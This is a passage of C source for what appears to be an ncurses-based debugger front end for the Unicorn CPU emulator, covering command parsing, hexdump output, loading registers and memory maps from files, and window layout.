COLOR_WHITE); 68 | 69 | for (i=startpos, wline=1; i <= endpos; i++, wline++) { 70 | if (ip==diss->insn[i].address) 71 | wattron(assw, COLOR_PAIR(1)); 72 | 73 | bp = breakpoints; 74 | if (bp != 0) { 75 | while(*bp != 0) { 76 | if (*(bp++) == diss->insn[i].address) { 77 | mvwprintw(assw, wline, 2, "*"); 78 | } 79 | } 80 | } 81 | 82 | mvwprintw(assw, wline, 2, "%-03d 0x%08lx ", i+1, diss->insn[i].address); 83 | for (j=0; j < 6; j++) { 84 | if (j < diss->insn[i].size) { 85 | wprintw(assw, "%02X", (uint8_t) diss->insn[i].bytes[j]); 86 | } else { 87 | wprintw(assw, " "); 88 | } 89 | } 90 | wprintw(assw, "\t%-6s %s", diss->insn[i].mnemonic, diss->insn[i].op_str); 91 | if (ip==diss->insn[i].address) 92 | wattroff(assw, COLOR_PAIR(1)); 93 | } 94 | 95 | box(assw, 0, 0); 96 | mvwprintw(assw, 0, 2, " Disassembly "); 97 | wrefresh(assw); 98 | } 99 | 100 | -------------------------------------------------------------------------------- /src/command_parser.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | 3 | static void chomp_strip(char *str) 4 | { 5 | int i; 6 | for (i=strlen(str); i != 0; i--) { 7 | switch(str[i]) { 8 | case 0: case '\t': case '\n': case ' ': 9 | str[i] = 0; 10 | break; 11 | default: 12 | return; 13 | } 14 | } 15 | } 16 | 17 | static void cmd_usage(void) 18 | { 19 | Command *c; 20 | 21 | consw("Valid commands: (enter repeat's previous command)\n"); 22 | c = cmds; 23 | do { 24 | conswnf(" %-10s - %s\n", c->name, c->desc); 25 | } while ((c = c->next) != NULL); 26 | consw("\n"); 27 | } 28 | 29 | Command *last_command(Command *root) 30 | { 31 | Command *last, *curr = root; 32 | while(curr != NULL) { 33 | last = curr; 34 | curr = curr->next; 35 | } 36 | return(last); 37 | } 38 | 39 | Command *create_command(char *name, CmdHandler handler, char *desc) 40 | { 41 | Command *c; 42 | c = xmalloc(sizeof(Command)); 43 | c->name = name; 44 | c->desc = desc; 45 | c->handler = handler; 46 | return(c); 47 | } 48 | 49 | void add_command(Command *root, Command *addcmd) 50 | { 51 | Command *last = last_command(root); 52 | last->next = addcmd; 53 | } 54 | 55 | Command *find_command(char *cmd) 56 | { 57 | Command *c; 58 | 59 | c = cmds; 60 | do { 61 | if (strncmp(c->name, cmd, MAX_CMD) == 0) 62 | return(c); 63 | } while ((c = c->next) != NULL); 64 | 65 | return(NULL); 66 | } 67 | 68 | command_state runcmd(uc_engine *uc, uint64_t ip, char *line) 69 | { 70 | char cmd[MAX_CMD+1], arg[MAX_CMD+1], *s; 71 | int i; 72 | Command *c; 73 | 74 | chomp_strip(line); 75 | strncpy(cmd, line, MAX_CMD); 76 | s = strpbrk(cmd, " "); 77 | if (s) { 78 | *s = 0; // terminate cmd string 79 | s++; // advance to space 80 | // skip spaces before arg(s) 81 | for (i=0; (char)*s == 0x20 && i < MAX_CMD; i++) 82 | s++; 83 | strncpy(arg, s, MAX_CMD); 84 | } else { 85 | arg[0] = 0; 86 | } 87 | 88 | if ((c = find_command(cmd)) == NULL) { 89 | cmd_usage(); 90 | return(MORE_COMMANDS); 91 | } 92 | 93 | return(c->handler(uc, ip, arg)); 94 | } 95 | -------------------------------------------------------------------------------- /src/commands.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | 3 | static command_state cmd_step(uc_engine *uc, uint64_t ip, char *args) 4 | { 5 | return(DONE_PROCESSING); 6 | } 7 | 8 | static command_state cmd_cont(uc_engine *uc, uint64_t ip, char *args) 9 | { 10 | stepmode = RUN; 11 | return(DONE_PROCESSING); 12 | } 13 | 14 | static command_state cmd_pmmap(uc_engine *uc, uint64_t ip, char *args) 15 | { 16 | print_memory_map(opts->mmap); 17 | return(MORE_COMMANDS); 18 | } 19 | 20 | static command_state cmd_redisass(uc_engine *uc, uint64_t ip, char *args) 21 | { 22 | struct memory_map *m; 23 | consw_info("Re-disassembling code... "); 24 | if ((m = mmap_for_address(ip)) != NULL) { 25 | consw("0x%08x -> 0x%08x\n", m->baseaddr, m->baseaddr + m->rf->len); 26 | redisassemble_code(uc, m->baseaddr); 27 | verify_visible_ip(ip); 28 | printwass(spos, (asswl.nlines-2), ip); 29 | } else { 30 | consw("failed to find memory map for ip 0x%08x\n", ip); 31 | } 32 | 33 | return(MORE_COMMANDS); 34 | } 35 | 36 | static command_state cmd_list(uc_engine *uc, uint64_t ip, char *args) 37 | { 38 | int n; 39 | unsigned int lno; 40 | 41 | n = sscanf(args, "%u", &lno); 42 | if (n == 1) { 43 | if (lno >= diss->count) 44 | lno = diss->count; 45 | if (lno < 1) 46 | lno = 1; 47 | } else { 48 | consw("usage: list lineno\n"); 49 | goto ret; 50 | } 51 | 52 | if (((lno-1) + (asswl.nlines-2)) > diss->count) { 53 | lno = ((diss->count) - (asswl.nlines-2)) + 1; 54 | } 55 | printwass(lno-1, (asswl.nlines-2), ip); 56 | 57 | ret: 58 | return(MORE_COMMANDS); 59 | } 60 | 61 | static command_state cmd_hx(uc_engine *uc, uint64_t ip, char *args) 62 | { 63 | int n; 64 | uint64_t addr; 65 | unsigned int len, max_count = 1024, arg_count = 0; 66 | uint8_t *bytes = NULL; 67 | char width; 68 | uint8_t blen; 69 | uc_err err; 70 | 71 | n = sscanf(args, "%c %llx %u", &width, (long long unsigned int*)&addr, &arg_count); 72 | if (n <= 0) { 73 | goto usage; 74 | } else if (n == 1) { 75 | addr = ip; 76 | } else if (n == 3 && arg_count <=max_count) { 77 | len = arg_count; 78 | } 79 | switch(width) { 80 | case 'b': 81 | blen = 1; 82 | break; 83 | case 'h': 84 | blen = 2; 85 | break; 86 | case 'w': 87 | blen = 4; 88 | break; 89 | case 'g': 90 | blen = 8; 91 | break; 92 | default: 93 | goto usage; 94 | } 95 | if (arg_count == 0) 96 | arg_count = (64 / blen); 97 | 98 | len = arg_count * blen; 99 | consw_info("hexdump %u bytes @ 0x%08llx\n", len, addr); 100 | bytes = xmalloc(len+1); 101 | memset(bytes, 0, len+1); 102 | if ((err = uc_mem_read(uc, addr, bytes, len)) != UC_ERR_OK) { 103 | consw("%s\n", uc_strerror(err)); 104 | goto ret; 105 | } 106 | 107 | switch(width) { 108 | case 'b': 109 | hexdump_uint8(bytes, len, addr); 110 | goto ret; 111 | case 'h': 112 | hexdump_uint16(bytes, len, addr); 113 | goto ret; 114 | case 'w': 115 | hexdump_uint32(bytes, len, addr); 116 | goto ret; 117 | case 'g': 118 | hexdump_uint64(bytes, len, addr); 119 | goto ret; 120 | default: 121 | goto usage; 122 | } 123 | 124 | usage: 125 | consw("usage: hx width [address] [count]\n"); 126 | consw(" width is one of: b(uint8) h(uint16) w(uint32) g(uint64)\n"); 127 | consw(" ex: hx b 0x0040000 128\n"); 128 | 129 | ret: 130 | xfree(bytes); 131 | return(MORE_COMMANDS); 132 | } 133 | 134 | static command_state cmd_follow(uc_engine *uc, uint64_t ip, char *args) 135 | { 136 | uint64_t addr; 137 | int n; 138 | 139 | n = sscanf(args, "%llx", (long long unsigned int*)&addr); 140 | if (n == 1) { 141 | opts->follow = addr; 142 | xfree(last_follow_bytes); 143 | update_follow_window(uc, addr); 144 | } else { 145 | consw("Usage: follow address\n"); 146 | } 147 | 148 | return(MORE_COMMANDS); 149 | } 150 | 151 | static command_state cmd_cr0(uc_engine *uc, uint64_t ip, char *args) 152 | { 153 | uint64_t cr0_reg; 154 | 155 | uc_reg_read(uc, UC_X86_REG_CR0, &cr0_reg); 156 | consw("cr0: %08x\n", cr0_reg); 157 | consw(" PE, Protected Mode Enable: %s\n", CHECK_BIT(cr0_reg, 0) ? "true" : false); 158 | 159 | return(MORE_COMMANDS); 160 | } 161 | 162 | Command *init_commands(void) 163 | { 164 | Command *root; 165 | 166 | root = create_command("s", &cmd_step, "step instruction"); 167 | add_command(root, create_command("c", &cmd_cont, "continue to next bp or end")); 168 | add_command(root, create_command("M", &cmd_pmmap, "print memory map")); 169 | add_command(root, create_command("D", &cmd_redisass, "re-disassemble code")); 170 | add_command(root, create_command("list", &cmd_list, "change assembly window listing")); 171 | add_command(root, create_command("hx", &cmd_hx, "hexdump address")); 172 | add_command(root, create_command("follow",&cmd_follow, "set follow address")); 173 | if (opts->arch == X86) 174 | add_command(root, create_command("cr0", &cmd_cr0, "show processor mode")); 175 | 176 | return(root); 177 | } 178 | 179 | -------------------------------------------------------------------------------- /src/hexdump.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | 3 | void hexdump_uint8(uint8_t *code, unsigned int len, uint64_t baseaddress) 4 | { 5 | uint64_t i, j; 6 | 7 | for (i=0; i= len) { 11 | conswnf(" "); 12 | } else { 13 | conswnf("%02x ", code[i+j]); 14 | } 15 | if (j == 7) 16 | conswnf(" "); 17 | } 18 | for (j=0; j<16; j++) { 19 | if (j==0) 20 | conswnf(" |"); 21 | if (code[i+j] >= 33 && code[i+j] <= 126) { 22 | conswnf("%c", code[i+j]); 23 | } else { 24 | conswnf("."); 25 | } 26 | if ((i+j) >= len) 27 | break; 28 | } 29 | conswnf("|\n"); 30 | } 31 | consw("\n"); 32 | } 33 | 34 | void hexdump_uint16(uint8_t *code, unsigned int len, uint64_t baseaddress) 35 | { 36 | uint64_t i, j; 37 | uint16_t *p; 38 | 39 | for (i=0; i < (len-1); i+=16) { 40 | conswnf("%08lx: ", (i+baseaddress)); 41 | p = (void*) code + i; 42 | for(j=0; j < 8; j++) { 43 | if ((i+(j*2)) >= (len-1)) 44 | break; 45 | conswnf("%04x ", *p++); 46 | if (j == 3) 47 | conswnf(" "); 48 | } 49 | conswnf("\n"); 50 | } 51 | consw("\n"); 52 | } 53 | 54 | void hexdump_uint32(uint8_t *code, unsigned int len, uint64_t baseaddress) 55 | { 56 | uint64_t i, j; 57 | uint32_t *p; 58 | 59 | for (i=0; i < (len-1); i+=16) { 60 | conswnf("%08lx: ", (i+baseaddress)); 61 | p = (void*) code + i; 62 | for(j=0; j < 4; j++) { 63 | if ((i+(j*4)) >= (len-1)) 64 | break; 65 | conswnf("%08lx ", *p++); 66 | if (j == 1) 67 | conswnf(" "); 68 | } 69 | conswnf("\n"); 70 | } 71 | consw("\n"); 72 | } 73 | 74 | void hexdump_uint64(uint8_t *code, unsigned int len, uint64_t baseaddress) 75 | { 76 | uint64_t i, j; 77 | uint64_t *p; 78 | 79 | for (i=0; i < (len-1); i+=16) { 80 | conswnf("%08lx: ", (i+baseaddress)); 81 | p = (void*) code + i; 82 | for(j=0; j < 2; j++) { 83 | if ((i+(j*8)) >= (len-1)) 84 | break; 85 | conswnf("%016llx ", *p++); 86 | if (j == 0) 87 | conswnf(" "); 88 | } 89 | conswnf("\n"); 90 | } 91 | consw("\n"); 92 | } 93 | -------------------------------------------------------------------------------- /src/init_from_file.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | 3 | static void parse_x86_register(char *line, struct x86_regs *wr) 4 | { 5 | char *reg, *val; 6 | int n; 7 | 8 | n = sscanf(line, "%m[^':']:%ms", ®, &val); 9 | if (n == 2) { 10 | errno = 0; 11 | if (strcmp(reg, "eax") == 0) { wr->eax = strtoul(val, NULL, 0); } 12 | else if (strcmp(reg, "ebx") == 0) { wr->ebx = strtoul(val, NULL, 0); } 13 | else if (strcmp(reg, "ecx") == 0) { wr->ecx = strtoul(val, NULL, 0); } 14 | else if (strcmp(reg, "edx") == 0) { wr->edx = strtoul(val, NULL, 0); } 15 | else if (strcmp(reg, "esi") == 0) { wr->esi = strtoul(val, NULL, 0); } 16 | else if (strcmp(reg, "edi") == 0) { wr->edi = strtoul(val, NULL, 0); } 17 | else if (strcmp(reg, "ebp") == 0) { wr->ebp = strtoul(val, NULL, 0); } 18 | else if (strcmp(reg, "esp") == 0) { wr->esp = strtoul(val, NULL, 0); } 19 | else if (strcmp(reg, "eip") == 0) { wr->eip = strtoul(val, NULL, 0); } 20 | else if (strcmp(reg, "ss") == 0) { wr->ss = strtoul(val, NULL, 0); } 21 | else if (strcmp(reg, "cs") == 0) { wr->cs = strtoul(val, NULL, 0); } 22 | else if (strcmp(reg, "ds") == 0) { wr->ds = strtoul(val, NULL, 0); } 23 | else if (strcmp(reg, "es") == 0) { wr->es = strtoul(val, NULL, 0); } 24 | else if (strcmp(reg, "fs") == 0) { wr->fs = strtoul(val, NULL, 0); } 25 | else if (strcmp(reg, "gs") == 0) { wr->gs = strtoul(val, NULL, 0); } 26 | else if (strcmp(reg, "eflags") == 0) { wr->eflags = strtoul(val, NULL, 0); } 27 | else { 28 | printf("invalid register: %s\n", reg); 29 | exit(1); 30 | } 31 | 32 | if (errno != 0) { 33 | perror(line); 34 | exit(1); 35 | } 36 | xfree(reg); 37 | xfree(val); 38 | } else if (errno != 0) { 39 | perror("scanf"); 40 | exit(1); 41 | } else { 42 | printf("Invalid format of the register file. It need to be like:\n"); 43 | printf(" eax: 0x1234\n ebx: 1234\n"); 44 | exit(1); 45 | } 46 | 47 | } 48 | 49 | static void parse_x64_register(char *line, struct x64_regs *wr) 50 | { 51 | char *reg, *val; 52 | int n; 53 | 54 | n = sscanf(line, "%m[^':']:%ms", ®, &val); 55 | if (n == 2) { 56 | errno = 0; 57 | if (strcmp(reg, "rax") == 0) { wr->rax = strtoul(val, NULL, 0); } 58 | else if (strcmp(reg, "rbx") == 0) { wr->rbx = strtoul(val, NULL, 0); } 59 | else if (strcmp(reg, "rcx") == 0) { wr->rcx = strtoul(val, NULL, 0); } 60 | else if (strcmp(reg, "rdx") == 0) { wr->rdx = strtoul(val, NULL, 0); } 61 | else if (strcmp(reg, "rsi") == 0) { wr->rsi = strtoul(val, NULL, 0); } 62 | else if (strcmp(reg, "rdi") == 0) { wr->rdi = strtoul(val, NULL, 0); } 63 | else if (strcmp(reg, "rbp") == 0) { wr->rbp = strtoul(val, NULL, 0); } 64 | else if (strcmp(reg, "rsp") == 0) { wr->rsp = strtoul(val, NULL, 0); } 65 | else if (strcmp(reg, "rip") == 0) { wr->rip = strtoul(val, NULL, 0); } 66 | else if (strcmp(reg, "r8") == 0) { wr->r8 = strtoul(val, NULL, 0); } 67 | else if (strcmp(reg, "r9") == 0) { wr->r9 = strtoul(val, NULL, 0); } 68 | else if (strcmp(reg, "r10") == 0) { wr->r10 = strtoul(val, NULL, 0); } 69 | else if (strcmp(reg, "r11") == 0) { wr->r11 = strtoul(val, NULL, 0); } 70 | else if (strcmp(reg, "r12") == 0) { wr->r12 = strtoul(val, NULL, 0); } 71 | else if (strcmp(reg, "r13") == 0) { wr->r13 = strtoul(val, NULL, 0); } 72 | else if (strcmp(reg, "r14") == 0) { wr->r14 = strtoul(val, NULL, 0); } 73 | else if (strcmp(reg, "r15") == 0) { wr->r15 = strtoul(val, NULL, 0); } 74 | else if (strcmp(reg, "ss") == 0) { wr->ss = strtoul(val, NULL, 0); } 75 | else if (strcmp(reg, "cs") == 0) { wr->cs = strtoul(val, NULL, 0); } 76 | else if (strcmp(reg, "ds") == 0) { wr->ds = strtoul(val, NULL, 0); } 77 | else if (strcmp(reg, "es") == 0) { wr->es = strtoul(val, NULL, 0); } 78 | else if (strcmp(reg, "fs") == 0) { wr->fs = strtoul(val, NULL, 0); } 79 | else if (strcmp(reg, "gs") == 0) { wr->gs = strtoul(val, NULL, 0); } 80 | else if (strcmp(reg, "eflags") == 0) { wr->eflags = strtoul(val, NULL, 0); } 81 | else { 82 | printf("invalid register: %s\n", reg); 83 | exit(1); 84 | } 85 | 86 | if (errno != 0) { 87 | perror(line); 88 | exit(1); 89 | } 90 | xfree(reg); 91 | xfree(val); 92 | } else if (errno != 0) { 93 | perror("scanf"); 94 | exit(1); 95 | } else { 96 | printf("Invalid format of the register file. It need to be like:\n"); 97 | printf(" rax: 0x1234\n rbx: 1234\n"); 98 | exit(1); 99 | } 100 | } 101 | 102 | static void parse_arm_register(char *line, struct arm_regs *wr) 103 | { 104 | char *reg, *val; 105 | int n; 106 | 107 | n = sscanf(line, "%m[^':']:%ms", ®, &val); 108 | if (n == 2) { 109 | errno = 0; 110 | if (strcmp(reg, "r0") == 0) { wr->r0 = strtoul(val, NULL, 0); } 111 | else if (strcmp(reg, "r1") == 0) { wr->r1 = strtoul(val, NULL, 0); } 112 | else if (strcmp(reg, "r2") == 0) { wr->r2 = strtoul(val, NULL, 0); } 113 | else if (strcmp(reg, "r3") == 0) { wr->r3 = strtoul(val, NULL, 0); } 114 | else if (strcmp(reg, "r4") == 0) { wr->r4 = strtoul(val, NULL, 0); } 115 | else if (strcmp(reg, "r5") == 0) { wr->r5 = strtoul(val, NULL, 0); } 116 | else if (strcmp(reg, "r6") == 0) { wr->r6 = strtoul(val, NULL, 0); } 117 | else if (strcmp(reg, "r7") == 0) { wr->r7 = strtoul(val, NULL, 0); } 118 | else if (strcmp(reg, "r9") == 0 || strcmp(reg, "sb") == 0) { wr->sb = strtoul(val, NULL, 0); } 119 | else if (strcmp(reg, "r10") == 0 || strcmp(reg, "sl") == 0) { wr->sl = strtoul(val, NULL, 0); } 120 | else if (strcmp(reg, "r11") == 0 || strcmp(reg, "fp") == 0) { wr->fp = strtoul(val, NULL, 0); } 121 | else if (strcmp(reg, "r12") == 0 || strcmp(reg, "ip") == 0) { wr->ip = strtoul(val, NULL, 0); } 122 | else if (strcmp(reg, "r13") == 0 || strcmp(reg, "sp") == 0) { wr->sp = strtoul(val, NULL, 0); } 123 | else if (strcmp(reg, "r14") == 0 || strcmp(reg, "lr") == 0) { wr->lr = strtoul(val, NULL, 0); } 124 | else if (strcmp(reg, "r15") == 0 || strcmp(reg, "pc") == 0) { wr->pc = strtoul(val, NULL, 0); } 125 | else { 126 | printf("invalid register: %s\n", reg); 127 | exit(1); 128 | } 129 | 130 | if (errno != 0) { 131 | perror(line); 132 | exit(1); 133 | } 134 | xfree(reg); 135 | xfree(val); 136 | } else if (errno != 0) { 137 | perror("scanf"); 138 | exit(1); 139 | } else { 140 | printf("Invalid format of the register file. It need to be like:\n"); 141 | printf(" r1: 0x1234\n r2: 1234\n"); 142 | exit(1); 143 | } 144 | } 145 | 146 | 147 | void *init_registers_from_file(char *file) 148 | { 149 | struct readfile *rf; 150 | char *line; 151 | void *r = NULL; 152 | 153 | // printf("%s:%d init_registers_from_file(\"%s\")\n\n", __FILE__, __LINE__, file); 154 | 155 | rf = readfile(file); 156 | line = strtok((char*)rf->bytes, "\n"); 157 | do { 158 | if (line[0] != '#' && strnlen(line, 4) >= 4) { 159 | if (opts->arch == X86 && opts->mode == MODE_32) { 160 | if (r == NULL) { 161 | r = xmalloc(sizeof(struct x86_regs)); 162 | memset(r, 0, sizeof(struct x86_regs)); 163 | } 164 | parse_x86_register(line, r); 165 | } else if (opts->arch == X86 && opts->mode == MODE_64) { 166 | if (r == NULL) { 167 | r = xmalloc(sizeof(struct x64_regs)); 168 | memset(r, 0, sizeof(struct x64_regs)); 169 | } 170 | parse_x64_register(line, r); 171 | } else if (opts->arch == ARM && opts->mode == MODE_32) { 172 | if (r == NULL) { 173 | r = xmalloc(sizeof(struct arm_regs)); 174 | memset(r, 0, sizeof(struct arm_regs)); 175 | } 176 | parse_arm_register(line, r); 177 | } 178 | } 179 | } while((line = strtok(NULL, "\n")) != NULL); 180 | 181 | return r; 182 | } 183 | 184 | struct memory_map * init_memory_map(char *map_file) 185 | { 186 | struct memory_map *mmap, *m; 187 | struct readfile *rf; 188 | char *line, *addr, *perm, *file, *basedir, *fqfile; 189 | int n; 190 | size_t round_4k; 191 | size_t max_path = 512; 192 | struct stat fstat; 193 | 194 | mmap = xmalloc(sizeof(struct memory_map)); 195 | memset(mmap, 0, sizeof(struct memory_map)); 196 | m = mmap; 197 | rf = readfile(map_file); 198 | basedir = dirname(map_file); 199 | line = strtok((char*)rf->bytes, "\n"); 200 | do { 201 | n = sscanf(line, "%m[0-9a-fA-Fx] %ms %ms", &addr, &perm, &file); 202 | if (n == 3) { 203 | fqfile = xmalloc(strnlen(basedir, max_path/2) + strnlen(file, max_path/2)+1); 204 | snprintf(fqfile, max_path, "%s/%s", basedir, file); 205 | 206 | if (stat(fqfile, &fstat) == -1) { 207 | printf("memory_file \"%s\": %s\n", file, strerror(errno)); 208 | printf("line: %s\n", line); 209 | exit(1); 210 | } 211 | 212 | if ((fstat.st_mode & S_IFMT) != S_IFREG) { 213 | printf("memory_file \"%s\": need a regular file\n", file); 214 | exit(1); 215 | } 216 | 217 | if (m->rf != NULL) { 218 | m->next = xmalloc(sizeof(struct memory_map)); 219 | m = m->next; 220 | memset(m, 0, sizeof(struct memory_map)); 221 | } 222 | 223 | m->rf = readfile(fqfile); 224 | m->baseaddr = strtoul(addr, NULL, 16); 225 | round_4k = ((m->rf->len>>12)<<12); 226 | if (m->rf->len > round_4k) 227 | round_4k += 4096; 228 | m->len = round_4k; 229 | 230 | if (perm[0] == 'r') 231 | m->prot = UC_PROT_READ; 232 | if (perm[1] == 'w') 233 | m->prot = m->prot | UC_PROT_WRITE; 234 | if (perm[2] == 'x') 235 | m->prot = m->prot | UC_PROT_EXEC; 236 | 237 | } else { 238 | printf("Invalid format of the memory map file. It need to this format:\n"); 239 | printf("0x00500000 rwx path_to_file1\n0x00600000 rw- path_to_file2\n"); 240 | exit(1); 241 | } 242 | 243 | } while((line = strtok(NULL, "\n")) != NULL); 244 | 245 | xfree(rf); 246 | xfree(line); 247 | xfree(addr); 248 | xfree(perm); 249 | xfree(file); 250 | xfree(fqfile); 251 | 252 | return(mmap); 253 | } 254 | 255 | -------------------------------------------------------------------------------- /src/main.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | 3 | void sigint(int signal) 4 | { 5 | endwin(); 6 | /* 7 | fprintf(stderr, "lines: %d, cols: %d.\n", LINES, COLS); 8 | fprintf(stderr, "asswl.nlines: %d\n", asswl.nlines); 9 | fprintf(stderr, "folwl.nlines: %d\n", folwl.nlines); 10 | fprintf(stderr, "conswl.nlines: %d\n", conswl.nlines); 11 | fprintf(stderr, "cmdwl.nlines: %d\n", cmdwl.nlines); 12 | fprintf(stderr, "sum: %d\n", asswl.nlines + folwl.nlines + conswl.nlines + cmdwl.nlines); 13 | */ 14 | exit(0); 15 | } 16 | 17 | void ncurses_init(void) 18 | { 19 | signal(SIGINT, sigint); 20 | 21 | initscr(); 22 | if (LINES < 25 || COLS < 115) { 23 | endwin(); 24 | fprintf(stderr, "To small window! lines: %d, cols: %d. Need 50/140\n", LINES, COLS); 25 | exit(1); 26 | } 27 | ucui_readline_init(); 28 | 29 | start_color(); 30 | use_default_colors(); 31 | cbreak(); 32 | noecho(); 33 | // nonl(); 34 | intrflush(NULL, false); 35 | // keypad(stdscr, true); 36 | curs_set(1); 37 | 38 | asswl.nlines = MAX(16, LINES/4); 39 | asswl.ncols = COLS-65; 40 | asswl.begin_y = 1; 41 | asswl.begin_x = 0; 42 | 43 | regswl.nlines = asswl.nlines; 44 | regswl.ncols = COLS-asswl.ncols-1; 45 | regswl.begin_y = asswl.begin_y; 46 | regswl.begin_x = asswl.ncols + asswl.begin_x + 1; 47 | 48 | folwl.nlines = MAX(5, LINES/4); 49 | folwl.ncols = asswl.ncols; 50 | folwl.begin_y = asswl.begin_y + asswl.nlines; 51 | folwl.begin_x = 0; 52 | 53 | // stackwl.nlines = LINES - regswl.nlines - 1; 54 | stackwl.nlines = folwl.nlines; 55 | stackwl.ncols = regswl.ncols; 56 | stackwl.begin_y = asswl.begin_y + asswl.nlines ; 57 | stackwl.begin_x = regswl.begin_x; 58 | 59 | // conswl.nlines = LINES - asswl.nlines - 3; 60 | conswl.nlines = (LINES - asswl.nlines - folwl.nlines - 2); 61 | conswl.ncols = COLS - 2; 62 | conswl.begin_y = folwl.begin_y + folwl.nlines; 63 | conswl.begin_x = 1; 64 | 65 | cmdwl.nlines = 1; 66 | cmdwl.ncols = conswl.ncols - 1; 67 | cmdwl.begin_y = conswl.begin_y + conswl.nlines; 68 | cmdwl.begin_x = 0; 69 | 70 | 71 | assw = newwin(asswl.nlines, asswl.ncols, asswl.begin_y, asswl.begin_x); 72 | box(assw, 0, 0); 73 | 74 | regsw = newwin(regswl.nlines, regswl.ncols, regswl.begin_y, regswl.begin_x); 75 | box(regsw, 0, 0); 76 | 77 | consw = newwin(conswl.nlines, conswl.ncols, conswl.begin_y, conswl.begin_x); 78 | // box(consw, 0, 0); 79 | scrollok(consw, true); 80 | wsetscrreg(consw, 0, conswl.nlines); 81 | 82 | stackw = newwin(stackwl.nlines, stackwl.ncols, stackwl.begin_y, stackwl.begin_x); 83 | box(stackw, 0, 0); 84 | 85 | folw = newwin(folwl.nlines, folwl.ncols, folwl.begin_y, folwl.begin_x); 86 | box(folw, 0, 0); 87 | 88 | cmdw = newwin(cmdwl.nlines, cmdwl.ncols, cmdwl.begin_y, cmdwl.begin_x); 89 | // box(cmdw, 0, 0); 90 | 91 | mvwprintw(assw, 0, 2, " Disassembly "); 92 | mvwprintw(regsw, 0, 2, " Registers "); 93 | mvwprintw(stackw, 0, 2, " Stack "); 94 | 95 | refresh(); 96 | wrefresh(assw); 97 | wrefresh(regsw); 98 | wrefresh(consw); 99 | wrefresh(stackw); 100 | wrefresh(cmdw); 101 | wrefresh(folw); 102 | spos = 0; 103 | } 104 | 105 | bool should_break(uint64_t ip) 106 | { 107 | uint64_t *p; 108 | 109 | if (stepmode == STEP) 110 | return(true); 111 | 112 | p = breakpoints; 113 | if (p == NULL && stepmode == RUN) { 114 | return(false); 115 | } 116 | 117 | while(*p != 0) { 118 | if (*(p++) == ip) { 119 | stepmode = STEP; 120 | return(true); 121 | } 122 | } 123 | return(false); 124 | } 125 | 126 | void redisassemble_code(uc_engine *uc, uint64_t ip) 127 | { 128 | uint8_t *new_code; 129 | struct memory_map *m; 130 | size_t len; 131 | uc_err err; 132 | 133 | if ((m = mmap_for_address(ip)) != NULL) { 134 | len = (m->baseaddr + m->len) - ip; 135 | } else { 136 | consw_err("unmapped memory @ %llx\n", ip); 137 | return; 138 | } 139 | 140 | new_code = xmalloc(len); 141 | err = uc_mem_read(uc, ip, new_code, len); 142 | if (err == UC_ERR_OK) { 143 | xfree(diss); 144 | if (opts->arch == X86 && opts->mode == MODE_32) { 145 | diss = disass(new_code, len, ip, CS_ARCH_X86, CS_MODE_32); 146 | } else if (opts->arch == X86 && opts->mode == MODE_64) { 147 | diss = disass(new_code, len, ip, CS_ARCH_X86, CS_MODE_64); 148 | } else if (opts->arch == ARM && opts->mode == MODE_32) { 149 | diss = disass(new_code, len, ip, CS_ARCH_ARM, CS_MODE_ARM); 150 | } 151 | } else { 152 | consw_err("uc_mem_read %u bytes @ 0x%08llx. error %u: %s\n", len, ip, err, uc_strerror(err)); 153 | } 154 | xfree(new_code); 155 | } 156 | 157 | void update_follow_window(uc_engine *uc, uint64_t addr) 158 | { 159 | int lines = folwl.nlines - 2; 160 | size_t len = lines * 16; 161 | struct memory_map *m; 162 | uint8_t *bytes; 163 | int i, j, curr_line, y, x; 164 | uc_err err; 165 | 166 | wclear(folw); 167 | 168 | if ((m = mmap_for_address(addr)) != NULL) { 169 | if ( (addr + len) > (m->baseaddr + m->len) ) { 170 | len = MIN(1024, (m->baseaddr + m->len) - addr); 171 | } 172 | } else { 173 | mvwprintw(folw, 1, 1, "unmapped memory @ 0x%llx", addr); 174 | goto ret; 175 | } 176 | 177 | bytes = xmalloc(len); 178 | if ((err = uc_mem_read(uc, addr, bytes, len)) != UC_ERR_OK) { 179 | mvwprintw(folw, 1, 1, "%s\n", uc_strerror(err)); 180 | goto ret; 181 | } 182 | 183 | for (i=0, curr_line=1; i= len) { 187 | wprintw(folw, " "); 188 | } else { 189 | wprintw(folw, "%02x ", bytes[i+j]); 190 | if (last_follow_bytes != NULL && last_follow_bytes[i+j] != bytes[i+j]) { 191 | getyx(folw, y, x); 192 | mvwchgat(folw, y, x-3, 2, A_BOLD, 0, NULL); 193 | wmove(folw, y, x); 194 | } 195 | } 196 | if (j == 7) 197 | wprintw(folw, " "); 198 | } 199 | for (j=0; j<16; j++) { 200 | if (j==0) 201 | wprintw(folw, " |"); 202 | if (bytes[i+j] >= 33 && bytes[i+j] <= 126) { 203 | wprintw(folw, "%c", bytes[i+j]); 204 | } else { 205 | wprintw(folw, "."); 206 | } 207 | if (last_follow_bytes != NULL && last_follow_bytes[i+j] != bytes[i+j]) { 208 | getyx(folw, y, x); 209 | mvwchgat(folw, y, x-1, 1, A_BOLD, 0, NULL); 210 | wmove(folw, y, x); 211 | } 212 | if ((i+j) >= len) 213 | break; 214 | } 215 | wprintw(folw, "|\n"); 216 | } 217 | wprintw(folw, "\n"); 218 | 219 | ret: 220 | if (last_follow_bytes != NULL) 221 | xfree(last_follow_bytes); 222 | last_follow_bytes = bytes; 223 | box(folw, 0, 0); 224 | mvwprintw(folw, 0, 2, " Follow "); 225 | wrefresh(folw); 226 | } 227 | 228 | void handle_keyboard(uc_engine *uc, uint64_t ip) 229 | { 230 | struct memory_map *m; 231 | int ch; 232 | command_state cmd_state; 233 | 234 | verify_visible_ip(ip); 235 | if (!ip_aligned_to_disassembly(ip) && uc_running) { 236 | consw_info("IP not aligned to disassembly @ %08llx.", ip); 237 | if ((m = mmap_for_address(ip)) != NULL) { 238 | consw(" Re-disassembling at this address...\n"); 239 | redisassemble_code(uc, ip); 240 | spos = 0; 241 | } else { 242 | consw(" Address is out-of-bounds.\n"); 243 | uc_emu_stop(uc); 244 | return; 245 | } 246 | } 247 | printwass(spos, (asswl.nlines-2), ip); 248 | if (opts->follow != -1) { 249 | update_follow_window(uc, opts->follow); 250 | } else if ((m = mmap_for_address(ip)) != NULL) { 251 | update_follow_window(uc, m->baseaddr); 252 | } 253 | 254 | mvwprintw(cmdw, 0, 0, RL_PROMPT, 